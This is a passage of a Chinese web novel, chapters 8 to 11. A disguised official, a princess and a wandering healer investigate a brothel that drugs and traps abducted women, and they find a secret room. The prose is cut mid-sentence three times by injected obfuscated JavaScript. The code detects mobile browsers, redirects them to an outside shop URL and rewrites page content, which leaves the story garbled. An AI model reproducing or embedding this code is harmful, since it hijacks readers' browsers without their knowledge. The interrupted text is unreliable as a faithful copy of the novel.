那姑娘脸上微微泛起红晕,盈盈一拜,又听韩濯微笑道:“姑娘们气质不俗,举手投足间便可看出都是钟灵毓秀的人物,这样的人若做不了鄙人知己,在下可真要遗恨百年了。” 宋青瑛目瞪口呆,他一时间真看不出韩濯是真的还是演的,也过于熟练了些。 韩濯懂个屁的搭配,这一手当然是和甄嬛学的。 老鸨嘴角都要笑裂了,她接过韩濯手中沉甸甸的钱袋子,点头哈腰目送着韩濯上楼,一边像赶苍蝇一般把这群莺莺燕燕都赶了上去。 韩濯忽然想到什么又忽然回头,笑着对那老鸨说:“姐姐,我这兄弟没见过什么世面,劳烦您多挑几个年纪相仿的妹妹送上来好照顾照顾他。” “好说好说,公子您二位请。”老鸨被一声姐姐喊得心花怒放,忙不迭答应道。 宋青瑛一下子被点到,本来浑身紧绷的身体几乎硬成了棺材板,几个随着上楼的女子嘻嘻贴上来捏他的脸:“小公子,我们照顾照顾你也好啊。” 宋青瑛轰一下整个人都熟了,被碰到的地方仿佛过了电,他一下子甩开,手撞到扶手上发出“咚”的响声,那几个女子先是一愣,随后花枝乱颤地笑起来:“哎呀呀,这么小的年纪,怕不是还是个雏儿吧。” 宋青瑛满脸通红,好在韩濯大发慈悲没太记他买《鹭桥残梦》的仇,回去救了他一把。 “各位姐姐,他性子古怪,洁癖得厉害,不喜欢别人碰他,连我这个做哥哥的都不行,喏,你们大人有大量放他一马,等今晚我找个新妹子好生教教他。” 韩濯这么说了,这些姑娘也不好再干什么,只是嘻嘻笑着簇拥韩濯去了。 宋青瑛摸了摸热意未消的脸颊,看着韩濯的背影,心里不知道什么滋味蔓延开来,又酸又苦的,莫名其妙委屈,明明本来应该是韩濯生自己的气,怎么现在自己竟然在心底埋怨起韩濯来。 就这副轻车熟路的样子,怎么可能“没干别的”,真不知道该信她哪句鬼话。 再说了,既然喜欢男人,在这些姐姐妹妹里开哪门子的屏? 8. 花中君子 韩濯装起风流公子哥儿是很得心应手的。 当初在大学戏曲社团中,她因着身高原因被社团指导老师分到了小生组,正式参加演出前的一学年里,每堂课的内容就是枯燥地穿着六厘米的小生靴走台步,要么就是拿着九寸折扇左面指一下,右面指一下,无聊得几乎睡着,可是效果是立竿见影的,久而久之,她的举手投足之间都带上了一种说不出的味道,挺拔又潇洒。参与社团这么多年的专场演出以来,她荣幸地和许多学姐学妹做过台上夫妻。 此刻韩濯随随便便斜坐在席中,张嘴接了旁侧一个美人剥的葡萄,眼神却缱绻地盯着另外一个,把那姑娘看得两颊微红,眼神躲闪地给她倒酒。 这种情况下,套话是很容易的。 韩濯那边歌舞升平,宋青瑛这边却截然不同,陪在旁边的两个姑娘多番尝试,无一例外都在身体僵硬眼神冰凉的冷面公子这儿碰了壁,好在这两个姐儿来得时间不久,也并不爱给金粉阁冲什么业绩,宋青瑛不理她们便也乐得清闲,只坐在韩濯对侧发呆便罢。 宋青瑛坐姿十分端庄,他起初看韩濯如此做派,有一种亲眼目睹偶像塌房的悲凉和茫然,而经过近半个时辰“都是逢场作戏”的自我洗脑后,他此刻木然地看着眼前的纸醉金迷,旁观得理直气壮。 “姐姐,莫要倒酒啦,我这两日犯头病痛得厉害。”韩濯带着笑意说道,眼神却带着委屈,把姑娘的心都看塌了。 “公子头痛,奴家心疼得很,快躺下,奴家给公子揉揉。” 韩濯轻轻执起她的手:“怎敢劳烦,姐姐十指纤纤,可掌心却有不少刀痕,想是曾经吃过不少苦,姐姐心疼我,可我又何尝不......”话未说完,她又流露出一点恰到好处的羞涩来,给宋青瑛看得一愣一愣的。 那姑娘捂着嘴咯咯直笑,宋青瑛心里头倒酸水儿,韩濯虽然对他预警过,可是听了这一番打情骂俏,宋青瑛第一次感受到了“肉麻”的具象化,浑身膈应。 韩濯眼神扫过对侧,突然想起来还有个未成年,虽然自认所作所为不算过火,但被宋青瑛盯着看,条件反射一般坐直了。 “公子今晚,便不走了罢。” “不急,”韩濯道:“姐姐不妨说说,这刀痕哪里来的,真是...可怜极了。” 那姑娘叹了口气道:“不提也罢,不提也罢......” 说着不提,她却讲了起来:“公子有所不知,我从前也是良家女,我爹娘开了家面馆,打刚会走路的年纪,我就会拿刀切菜,这伤痕也是自那时就积累下来的。” “可好景不长,当年西街一场大火,我爹娘都没了,我行乞路边,无处可去。那时我年纪小,尚不知人事,不知街尾巷角被人占过多少便宜,最后还是金粉阁收留了我,妈妈说做一样的营生,但阁里好歹有饭吃有衣穿,不挨饿不受冻......” 她说道这里,情之所至,竟然呜呜哭起来,周围姑娘们见状,竟然也都是眼眶微红,韩濯道:“看起来,诸位竟然都是命途多舛。” 姑娘擦擦眼泪道:“可不是,公子,这楼里签了卖身契,就是葬送一辈子,我小琴还算好的,绿萍是被爹娘卖来的,小翠是被她那个不要脸的畜生丈夫抵债卖进来的,大家都是苦命人......” 她这一说,好几个姑娘都掉了眼泪,韩濯最见不得人哭,眼下哭倒一片,根本擦不过来眼泪,宋青瑛听了也是有些不忍,想了片刻,解了钱袋子递给旁边陪他发了半天呆的姑娘。 “你们...分了吧。” 宋青瑛语气带着点别扭的生硬,旁边的姑娘有些震惊,有些犹疑地看向小琴。 小琴平复了心情,拭泪道:“是我们的不是,搅扰了公子的性致,这钱我们不能接,难得有这般体贴的人物听我们说说体己话,也不轻慢待我们,姐妹们怎能再收?” 韩濯未曾想到宋青瑛会为这些青楼姑娘们解囊,本来她也觉着小琴讲述悲惨身世,只是为了多拿几个赏钱,毕竟在这等章台瓦舍,最不值钱的就是“情”字,若是这苦难能换来碎银几两,倒也不必敝帚自珍。 可小琴并没收。 韩濯道:“小琴姑娘收着吧,一点心意。” 小琴却摇摇头:“公子,若是这钱真能到我们手里倒也罢了,可是我们得的首饰银钱,那都是要被妈妈搜刮去的,我们留不下。” 小琴大概在金粉阁呆得最久,在姑娘们中明显是个能说上话的,她起身对周围姑娘道:“姑娘们,拒银之事请诸位保密,妈妈那没有长久的好处,我们飘萍飞絮一样的人,哪里真能被当女儿待呢?” 余下的几位姑娘都红着眼应了,韩濯叹了口气,宽慰了几句,觉得火候差不多了,便只教小琴留下,让剩下的姑娘回去歇息。 见已无旁人,韩濯从怀中掏出帕子递给泪痕未干的小琴:“姑娘身世竟如此令人唏嘘。” 小琴擦了擦眼睛,道:“寻常瓦舍,姑娘们接客多年至少能攒下些家底,可金粉阁这吃人的地方,银钱首饰全都进了鸨儿的口袋,我们根本离不得金粉阁,我们不乐意接客,便动辄打骂,上个月还死了一个。” 韩濯听闻,瞬间直起了身子,低声道:“死了一个?” “是啊,十分可怜啊,本来就染了风寒,只是没力气起身,便被那与鸨儿狼狈为奸的龟公活活打死……” 宋青瑛活了这么多年,第一次知道西京城内竟然有这么多肮脏事,一时间心神激荡,竟觉得自己曾经面临的一切都不值一提了起来。 宋青瑛开口,许久未说话,嗓子有些哑:“那你们若是有了伤病,她可会找大夫给你们瞧?” “公子可知道为何我们还有姑娘情愿讨好那老鸨?”小琴愤愤道。 “在金粉阁,只有客人认识脸儿,叫得上名字的姑娘才能勉强被当个人看,病若是不重,也能找大夫给开个方子,譬如方才我们姐妹几个,还算幸运……您不知道,就连那避子的药汤,也是只有这些称得上名字的姑娘才会给。” 韩濯心里一动,忙道:“那称不上名字的姑娘?她们如何了?” 小琴愣了一下,琢磨半晌,摇了摇头。 “什么意思?”宋青瑛急问。 “我不知道。”小琴说道,“左右下场不会太好,这楼里每月都有新人进来,能留下来的却寥寥无几,剩下的,死了或许也是解脱。” 这或许就是其中关键了。 “为何这么说?” “都是我们这样的可怜人,人家好好的姑娘,怎么甘心做这样的营生,刚一进楼就被迫接客,她们一个个还都是花骨朵,第一晚的价能给阁里赚不少,可她们又怎能愿意呢,鸨儿什么法子都能用,一副迷药灌下去,她们有什么办法?或许有些性子烈的,可怎能斗得过那老鸨和龟公们,上回我经过废弃的柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋青瑛思考片刻,诶了一声。 “确实不同,从前她陪着我翻墙出宫,活泼得很,可那些日子却恹恹的,精神不怎么好,总是草木皆兵,我叫她就唬一跳,可能是精神不好,饭也吃不太进,不过倒也不算明显......” 一阵恶寒爬上了韩濯手臂,如果她的猜想是真,那这金粉阁的营生简直黑到了极致,她也得尽快找到嫂嫂才行。 “吱呀”一声,门开了,韩宋二人都噤了声,好在方才说话声音不大,老鸨只是点头哈腰地赔笑,说是今夜的姑娘是“睡美人”,但绝对干净。 韩宋二人对视一眼,韩濯装得为难,说自家兄弟什么不懂,睡着的姑娘可怎么教他,把一旁的宋青瑛弄得面红耳赤,一番装模作样的讨价还价后,二人被带到了另外的小房间内。 老鸨得了不少钱,笑得合不拢嘴,临走前还分外猥琐地朝韩濯挤挤眼,给已经入戏的韩濯都弄得没了信念感,她猜测的方向让她全身上下都对这地方抗拒了起来,觉得分外恶心。 韩濯回头,发现宋青瑛已经站在了床边,愣愣地仿佛被下了咒,韩濯疑惑,忙过去瞧这床上面是什么人物。 红纱帐下的姑娘称得上清秀,眉目看上去被好好描画过,身上的衣裳......放在大齐,觉对算清凉了,可是她的相貌,怎么看怎么眼熟。 韩濯凑近她涂了脂粉的脸,下一秒,只听“啪”地一声,韩濯未待反应过来,脸上就结结实实挨了一巴掌。 9. 画上妊妇 韩濯长了这么大头一回被人打脸,她愣了一下,脸颊后知后觉泛上热意,下意识有些羞恼。 那原本躺得像个死物一般的姑娘睁眼坐了起来,方才打了韩濯的巴掌还举在半空,见了韩濯却愣住了。 “怎么是你?” 宋青瑛急忙把韩濯扯开,但见她脸颊上鲜红指印,下意识责怪道:“手这么重做什么?” 李三三道:“我为了自保,又不知道轻重,哪里知道是她,等等,你们为何在这里?” “这话该我问你才对。”韩濯沉声道:“你怎么进来的?” 李三三下床,随便扯了布巾裹在身上,韩濯没看下去,脱了外跑递给她,李三三也没道谢,自顾自披上了,也不搭理韩濯,打开窗户向下瞧,窗外正对着一间小院,连一盏灯也无,她回到床边,把床铺掀得稀烂,撕下一条床单系在床柱上。 竟是想翻窗。 韩濯一声不吭,下一刻刀光一闪,李三三觉得脖子一凉,回首一瞧,正是一把刀横在了脖子上。 韩濯一张脸冷得像冰,宋青瑛看了也微微发怵,但李三三毫不顾忌地站起身来道:“驸马爷的刀就这么寒碜,刃都没开,拍蒜都费劲,吓唬谁?” ...... 韩濯难得用脸色压人,还惨遭翻车,那辟邪宝刀她没扔,今天顺手就抽出来了,这一番弄得她十分尴尬,心里大骂那个卖刀的祖宗。 她强行装蒜,开口道:“就算不用刀,姑娘觉得你出得了门吗。” 宋青瑛伸手一抛,韩濯便接过了那烟雨楼的匕首:“多谢。” 李三三轻蔑一笑:“怎么,官府现在着急了,当初说我是疯子,把我打出府衙,现在怎么,想起女人的命是命了?” “我们也并非官府,你大可不必如此阴阳怪气。”宋青瑛道。 李三三上下扫视了他二人一眼,叹了口气:“那就长话短说。” 随后白了韩濯一眼:“你那破刀放下去,凉死了。” 原来,她多次求告无门,闯了几次金粉阁未果,便只好找准机会混进被买进金粉阁的姑娘里,意图寻找自己的义妹云归。 头一日,她和其他姑娘被关在一间地下的屋子里,伸手不见五指,饮水和吃食都不给,被卖掉的姑娘有饿着肚子来的,第一日就不省人事了两人,不知如今是死是活。三日后,才有人送了粗劣的馒头和饮水进来,姑娘们也顾不上许多,全都狼吞虎咽吃得干净,她一个馒头下肚便人事不知了。 “那些姑娘有小部分是买来的,剩下的有不少从城外来,是被人劫来的。” 宋青瑛听了半晌,问道:“那你可知你们所在的屋子方位在哪,这金粉阁不小,人多眼杂,最好还是做好准备再下去。” 李三三回忆半晌,道:“只进来的时候看过几眼,后来眼睛被蒙上了,大概是西边?还是北边?” 韩濯找了张草纸,随便翻出一支笔来,估计这笔原本的用途也并不正经,韩濯强迫自己不去想这些,沾了旁边的朱砂小罐道:“喏,这是西街,金粉阁在西街末北侧,这是后院,你进院子时是靠哪边?” 李三三接过韩濯的笔,迟疑了一下,在上面勾画起来。 她画得十分混乱,韩濯无奈道:“你自己画过的恐怕自己都忘了,你就不能写个字标注一下?” “我不识字!”李三三吼道。 “嘘!”宋青瑛紧张道,这两个活祖宗怕是忘了自己这可是在人家的地盘商量怎么偷家,一点危机意识都没有。 韩濯捂了下嘴,又小声道:“那你卖身不是签字画押了嘛,怎么签的?” 李三三恼道:“这地方哪有这么正规,他看都没看就把卖身契拿走了,签字的地方我不会写,就画了个蛋。” 好吧...... “对了,”李三三道:“给我们吃食那天正是傍晚,阳光正好照进来。” “那就是东侧。”宋青瑛肯定道,他看了看乱七八糟的示意图,伸手在粗糙的红色线条交汇处一指。 片刻后,金粉阁楼上垂下一条用床单制成的绳索,李三三像猴子一样滑下来,淹没在黑暗之中,韩濯回头看向宋青瑛:“阿瑛,要不你就留在上面?” 宋青瑛摇摇头:“我行的,你先下,我跟着你。” 也罢,楼上楼下,还说不准哪里更危险,韩濯也滑了下去,中途被绳结硌了一下。 韩濯仰望上方灯火明亮的小窗,分外紧张,看宋青瑛犹豫片刻,也抱住绳索,双腿一松便滑了下来,韩濯刚想放心,就见宋青瑛在绳结处一栽。 她下意识去接,但宋青瑛没掉下来,刹那间就滑到韩濯旁边,只是踉跄几下后退,撞到韩濯身上,被她抱住了。 宋青瑛觉得脸上发烧,赶紧站直了身子,李三三袖手旁观良久,此时“啧”地一声,迈步走开了。 韩濯见宋青瑛没事,也拉着他的手跟上,眼神万分正直坦荡,宋青瑛瞬间负罪感猛烈,想打一巴掌让自己清醒清醒。 明确大概方位,那屋子十分好找,看样子真是一个废弃的柴房,毫无疑问锁着门,李三三环顾四周,对韩濯道:“簪子借我,你那个细一些。” 说着连招呼都不打,伸手就要拔人簪子。 韩濯吓一跳:“哎,成何体统。” “磨磨唧唧,用完了就还你。” 她伸手一抽,韩濯未来得及强烈抗议,一捧乌烟一般的头发就倾泻下来。 韩濯的身上没有什么女儿的香粉味,也没有带那些公子哥身上乱七八糟的香袋,只有皂角清新的味道,不知是用什么洗的发,艾草清苦的香味幽幽然。宋青瑛和她挨得近,几缕青丝伴着晚风中的花香飘到脸颊上,好像给他心上也轻轻搔了痒,麻酥酥的,这时李三三吹着了韩濯带来的火折子,火光葳蕤,韩濯散了发的脸就在跳动的光线上氤氲。 这是宋青瑛第一次见到韩濯散发的样子,其实仔细看着,新科状元郎五官里的风流意,有一半都来源于她温和的皮相,她的眼睛生得温柔,冲淡了锋利的棱角,火光明灭间竟然显得有些媚。 宋青瑛看得呆了,韩濯半张脸隐匿在阴影中,光影被打湿一般的朦胧。 “咔”地一声,锁开了,李三三颇为骄傲回头,却没得到嘉奖,看到韩濯也是一愣,随后打趣道:“嚯嚯,好个美人儿,要我说,这金粉阁挺适合你的,艳冠......” “闭嘴!”韩宋二人异口同声道。 李三三投降,瞅了宋青瑛一眼,小声吐槽:“你生什么气,真是。” 韩濯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640123|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪了她一眼,把簪子抢了回来。 毫无悬念,屋内无人,三人小心翼翼把门掩上,借着微弱灯光细看。 屋内皆为杂物,旁边的架子上放了一些瓶瓶罐罐,宋青瑛饶有兴趣过去瞧了一番。 “小孩子少看,”李三三把宋青瑛拉开,韩濯瞄了一眼,见这些罐子上面小小标签写着什么:“神仙散”“快女丹”“兴阳丸”...... 他大爷的春药还这么多品种。 韩濯一阵恶寒,继续在屋内寻找线索,当初小琴说声音就是这里出来,那会不会有暗门? 这房间还不小,可奇怪的是,柴房里竟然放了不少画卷书籍,有几幅挂了起来,韩濯一一掀起来查看,后面无一例外只有灰色墙壁,可是古怪的感觉攀升上来,她盯了这几幅画良久,终于明白古怪在何处了。 宋青瑛此时走过来:“可是发现了什么?” “你瞧。”韩濯道:“我不懂画,可是这些山水画作中,为何只有这一幅,画的是人物工笔,难道我朝山水画家居多?” 宋青瑛观察了一番道:“这些山水画虽然看着不同,但笔法却如出一辙,画技并不高明,有些生硬,倒是这幅母子图,笔触细腻,是名家之作。” 那画上是一妇人怀抱一男婴,身旁还立了两个一模一样的总角女童,而这妇人腹部高高隆起,似是怀胎十月,照理来说,这个月份的孕妇应该看起来行动不便才对,可这画上之人似毫无疲累之色,腰腹虽然看着粗蠢,却没有半分笨重的感觉,嘴角还有一抹恬淡的微笑,韩濯看得汗毛倒竖,觉得这笑万分诡异。 她走上前再次掀开画卷,果然发现这画卷后的墙壁,砖与砖的缝隙中有难以察觉的裂缝,不细看根本无法发现。 “就是这里。” 韩濯起身宣布道。 “那我们怎么进去?”李三三刚刚赶过来,脑门上还带着汗,韩濯道:“你们看看剩下几幅画上面,有没有山水间的人物是孕子的妇人?” 李三三和宋青瑛上前细看,片刻便在草木掩映间找到了,那些妇人皆腹部饱满,姿态各异。 韩濯一个个摸上去,这三幅山水画的孕妇那处墙壁,触感都是微微凸起,韩濯撤手道:“刚好三幅,恰巧需要三人,我们各自一同按下去,这暗门大概就打开了。” “那快些,我们早点进去。”李三三兴奋道,拍了拍手上的灰就要走上前去。 “慢着。” 这回不是那缺了一块还没开刃的破刀,而是那把闪着寒光的匕首,紧紧抵在了李三三脖颈处,李三三咽了一口唾沫,喉咙滚动间,她感觉自己要害处那层薄薄的皮肉流出血来。 韩濯制住了她双手,宋青瑛看着韩濯这回动了真格,急着对韩濯道:“这又是为何啊?” “这便要问你了殿下。”韩濯沉声道:“看得出来殿下有些身手,臣曾经低估您了,还以为您真是久居深宫养尊处优,您那右手上的刀茧,至少有五年的苦练。” “话不多说,你二人设计我深入金粉阁,究竟有什么目的,我嫂嫂的下落,也请尽快告知,不然......” 韩濯的匕首晃了晃,吓得李三三拼命朝韩濯怀中倚。 “我不敢保证,这金粉阁明日会不会多一具女尸。” 10. 真相一角 “写。” “写什么?哎哎哎刀远点远点......” 宋青瑛脸色惨白。韩濯狠下心来,从怀中掏出方才用朱砂勾勾画画的草纸和那杆笔。 “哎轻点,不是你知道这笔是用来干啥的吗,你穷疯了还是公主食邑不够养你,怎么什么都捡?我去我去,公主殿下你救救我啊愣着干啥!” 韩濯学生时代就有个毛病,每次课间去别的同学座位那里讨论题目,总是无意把人家的笔顺走,搞得几个关系好的同学十分头大。 宋青瑛上前一步,勉强扯出一抹笑来:“是我的不是,惹得侯府上下不得安宁。但我们也没有恶意,还请大人放她一马,事情结束之后我任你处置。” “公主言重了,臣不敢,况且臣未曾说过要对她做什么。若是臣真的误会了二位,认打认罚悉听尊便。”韩濯道:“早看二位样子就不似只有一面之缘,如今看这情况,臣还真是被设计来的,如果你们仍有欺瞒,我怎能贸然进那密道,说不准还和我嫂嫂一样,明日就下落不明了。此中误会,还是要两位好好解释原委,告知我嫂嫂下落,还有小?的头颅来历,在此之前,韩某就只好多有得罪了。” “你他娘又不是女的谁劫你?嗷!——” 宋青瑛第一次直面韩濯的侵略性,他此刻和最不愿意为敌的人站在了对立面,这等境地,当初他不是没想过,却没想到这一天来得这么快。 “三三姑娘,少搞小动作,写吧。” “我不是说了我不识字嘛!啊!痛痛痛!” 韩濯用力扭了李三三的左臂,道:“方才你看到架子上那些瓶罐,打都不打开就断定那是什么东西了,这罐子不稀奇,西街上小摊贩卖几文钱一个,我刚刚看了看,那罐子是空的,你既然不识字,却认得它是做什么用的?” “写!” 李三三迫于架在脖子上的锋刃,只好拿起了笔,还不忘埋怨宋青瑛:“你刚才递给她匕首做什么!哎呦真是。” “写什么字?” “随便。” ......片刻寂静。 “我忘了随怎么写。” “不会写用拼音代。”韩濯条件反射道。 “啥?” 韩濯才反应过来秃噜嘴了,轻咳一声道:“会写什么字就写什么。” 好吧。 李三三提笔,书写了一个大大的“王八”。 韩濯不计较她是否在骂自己,但看了一眼便确定了,这和当初威胁英武侯,嘲讽白县令的两句诗必然出于一人之手,倒不是韩濯在书法上有多大造诣,实在是这字幼稚得十分熟练,毫无美感,软趴趴的,是即使在开蒙阶段也会被先生打手板的程度,十分有特色。 “没冤枉你。”韩濯道:“姑娘,我嫂嫂在哪?” “果然,你们这些臭有钱的根本不顾百姓死活,只关注千金小姐的安危......” 韩濯把匕首抵得紧了些,李三三立刻识时务地闭嘴了。 “她没有危险。”宋青瑛出声:“在京郊普化寺,我从前修行的寺庙,有不少人照顾她,你去看便知。” 韩濯迟疑了片刻,对上了宋青瑛的眼睛。 他眼神丝毫没有躲闪,但韩濯莫名觉得,宋青瑛有些难过。 “我信你。”良久,韩濯才出声道。 “那你给我解开啊韩濯!”李三三怒道:“匕首也放下,吓死老娘了!” 韩濯面色一沉,收了匕首,但也快速将李三三双手反剪,拿腰带捆了。 “不是吧。”李三三欲哭无泪:“你还捆我做什么?” 宋青瑛见韩濯对自己不绑不捆的,知晓是她与自己相处多日,还是有一份情分在,方才信得过自己,也是承了他的情,宋青瑛明白这算是优待,故虽然觉得李三三颇为可怜,也没替她说话,只在旁边装聋作哑。 “以防万一,我还要请二位把原委道来,否则我下不了密道。”韩濯把李三三拴在了柱子上:“委屈你一下,说吧,讲讲小?,还有云归姑娘和罗衣。” 李三三和宋青瑛对视一眼,皆是叹了口气。 话还要从宋青瑛的宫人罗衣失踪说起,大齐近十年前,便放宽了宫女入选的标准,不论出身样貌,只要家室清白未婚配,有一技之长便有机会入选,罗衣是货郎的女儿,便在其列,自父亲去世,她便参选入宫,做了宋青瑛宫中的洒扫女婢,后因绣工高超,受到不少赏识,几年来也晋升几回。 她这仿佛人间蒸发一般的失踪,引得宋青瑛疯狂调查她的家室,去寻找她在人间尚存的痕迹,这一寻,便寻到了罗衣入宫前好友,游医李三三。 李三三听闻此讯,大为惊诧,半年前,她在京郊寻药,碰上了扬州来的琵琶女云归,一手琵琶婉转动听,人又生得美,李三三还说她定能在京城混得如鱼得水。那时李三三刚死了师父,云归也无牵无挂,二人相谈甚欢义结金兰,没成想七日之后,云归也同样失踪了。 云归从扬州来,在西京没人认识她,李三三报案无果,也怀疑起自己是不是患了癔症,直到宋青瑛的出现,她才确信西京城内,定然有什么见不得光的事情发生。 一日她正在街上挂葫芦卖老鼠药,正巧到了金粉阁楼下,她颈肩酸痛,抬头的空当,瞧见了金粉阁三楼一扇窗户正巧被推开。 那是一个怀抱琵琶的女子,额间花钿精美,唇朱而眉黛,却愁容满面,正是云归。 李三三大声喊叫,那女人却并未听见,不一会儿,便被一个男人拉走了,那扇窗也随即关上。 李三三去了金粉阁,却也没人承认云归就在此处,她后来也悄悄潜进去几次,她少年时便跟一个云游道士混江湖,功夫不怎样但却练就两样绝学,一样是医术,另一样,则是妙手空空之绝技,窃人财物如风过无痕。她偷偷探访金粉阁储物存财等室多次,不出所料一无所获,后来一次忍不住偷了点金银首饰,意外被金粉阁的人察觉,她此后进出更是艰难。她再次报官,却被乱棍打了出去,这一个月以来,她从不起眼的江湖游医,变成了百草巷发了癔症的女疯子。 “那小蘋又是怎么回事?” 宋青瑛看了李三三一眼,眼神疑惑,看来她也并不全知道。 “白兰茵不算被胁迫的,”李三三道,看韩濯瞪了她一眼,自顾自道:“事实如此,我承认我是想劫了她让那白老头着急着急,管管金粉阁,但她当时偷听到了英武侯要把她留在京城自己去断雁关,也想着吓吓他,教他以后不敢什么都不和她商议,另一方面,我们也讲了事情原委,她对她父亲为官之道早有不满,也答应帮我们这个忙。” “但我没想到,白老头真不是什么好东西。” 那日白县令听闻女儿失踪消息,派出的人手并非无头苍蝇到处乱找,而是兵分几路,好似明白人藏身何处一般,一队进了金粉阁,一队去了京郊护城河附近,一队则去了皇宫的方向,李三三尾随其后,先一步在京郊发现了小蘋的头颅,就埋在护城河旁一个山包的洞穴中。 那洞中还有其他躯体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640124|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残骸,绝不同时属于一人,李三三虽然害怕,但也带走了那头,偷偷塞到了金粉阁库房栽赃,上演了一出好戏,就是为了引韩濯他们去探查金粉阁的猫腻。 “就这些,我全说完了,该把我松开了吧。”李三三此时脾气好了不少,尽量平静道。 韩濯看向宋青瑛:“殿下,你的刀是谁教你的?” “寺里有一个蜀地来的武僧教我的。”宋青瑛慌忙答道。 韩濯点了点头,前后回味一遍,发现确实可信,她也不想总绑着人小姑娘还给人甩脸色,匕首一划,给李三三解了。 “他娘的。”李三三一边揉手腕一边骂道:“你现在知道了,要干什么?公主殿下,她要是和那个狗官一样遮遮掩掩同流合污,我就戳瞎你的眼,我倒要看看你打包票的人到底值不值得信任。” 这江湖女真是什么人都敢骂,对公主也不客气。韩濯有些惊讶地看向宋青瑛,没想到长宁公主竟然给她十分充足的信任,一时间受宠若惊。 “我要是想遮掩,便也不会松开你,我会直接灭口。”韩濯呛道,随后对宋青瑛一拜:“殿下是有情有义之人,虽然挟持我嫂嫂行为确实偏激,但却用心赤诚,韩某惭愧,方才得罪了。” “那我呢?你就只给他道歉啊!”李三三十分不满。 “他还是个小孩,你也是吗?”韩濯用上了前生无数中年人教育她的话术,又学二胎家长底气十足道:“阿瑛是能干出这种事的人吗,别以为我不知道绑架嫂嫂是你撺掇的。” 李三三不吭声了。 得,还真是她撺掇的。 韩濯随即又道:“白县令那边,我会小心提防,你们放心,我不会与之为伍,这件事关乎西京城多少女子的性命,我就算翻了天,也要查明白,哪怕是当今圣上也阻不了我。” 其实韩濯也是第一次遇见这样的事,但是她并不多么畏惧,从小到大她的成长环境不算顺利,但还真没有什么事,能让她在未开始做之前就预设失败的结局。 她此刻的一番话,让宋青瑛从小幻想的那个形象与真人高度重合起来,昨日与今朝的韩濯相互拼凑,跨过时间的流重叠到一起,那个西京城年少成名的韩濯从远方高台走来,鲜活生动,却也肉体凡胎,宋青瑛忽然就释然了。 “好!” 李三三道,眼角眉梢喜形于色:“有你这句话,我倒真明白公主殿下为什么信任你了,你是个有血性的汉子,我大人有大量既往不咎,你我交个朋友!” 韩濯被叫“汉子”,不适应地眼皮一跳,沉默半晌,终于无奈笑了起来。 “好啊三三姑娘。” 三人相互望着,都忍不住笑了。 “等等,嘘——”宋青瑛突然举起手示意,低声道。 三人静下来,清楚地听见门外的脚步声,生生逼近,正是朝这间屋子来的。 咚——咚—— 脚步声伴随心跳,节奏狂乱,在只有虫鸣的夜里格外清晰。 韩濯冷汗都下来了,李三三走到屋侧,掀开盖着箱子的羊毛毡。焦急地做口型:“快!” 韩濯宋青瑛会意,都轻声奔过去,宋青瑛还十分细心收走了地上断掉的腰带。 只有两个箱子,李三三进去一个,把外面那个大的留给了他们俩,宋青瑛年纪小身量也不大,韩濯虽然高挑但也清瘦,塞下两个人绰绰有余。 韩濯顾不得不好意思,把宋青瑛抱进去后自己也钻进去了。 韩濯盖好羊毛毡的下一秒,门开了。 11. 半面妖道 木门吱呀一声推开,三人皆是屏住了呼吸。 咚——咚—— 此人的靴子格外厚重,踩在地上发出沉闷的响声。 那人似乎发现本该锁好的门户被解开,疑惑地“嗯?”了一声。 他进了门向四周环顾,背对着惨淡月光,看不清他的脸,不过看他的装束,身穿玄色道袍,头戴逍遥巾,脸被轻纱遮住,是个古怪的道士。 韩濯心道,他们三人虽然占据人数优势,但是能打的也就她一个,李三三是个三脚猫,小偷小摸还成,真刀真枪明显不行,宋青瑛虽然练过一些,但他贵为公主,即使学过三招两式,谁会苛求于他?大概率也是花架子,对方实力不明,万一他们两个被人当了人质要挟,也未免麻烦。再者此案尚未查明,过早暴露不是好事。 感谢原主韩濯,让她继承了武力值,不然这种情况她怕是更加心虚。 古怪道士四处探查了一番,掀起这些画卷,随后似乎是没发现什么异样,把画放了下来。 他在原地矗立片刻,径直走近了他们三人的藏身之处。 韩濯握紧了匕首。 她从箱子的缝隙中,看见道人越来越近,头部渐渐消失在视线里,很快,缝隙中只能看到此人的腰带。 那人停住了。 他正要俯下身去,韩濯心脏狂跳,狠狠一闭眼,打算待头顶盖子掀开,就给他致命一击。 “啊呀!” 韩濯心脏骤停,这叫喊声却来源于屋外,听声音,是小琴! 道人俯身的动作顿住,随后回身,向门外走去。 韩濯暂时松了口气,不止她,宋青瑛绷了许久的身体也放松下来,三人皆是冷汗涔涔,大脑内因着长时间的紧张而发出嗡鸣。 宋青瑛欲动,被韩濯按住了,借着木板缝隙,韩濯对李三三做口型道:“且慢。” 不过半炷香的时间,那道人去而复返,可不同的是,他身边跟了两个金粉阁的龟公,他们手中架着一个已经昏迷人事不知的女子,看着轮廓装束,正是小琴! “今日就她一个?”那道人说道,语气深深不满。 “是啊,”一个龟公讨好道:“这个贱货,自己揣了崽子还妄想隐瞒,要不是当家的看出不对,还真被她糊弄过去了。” 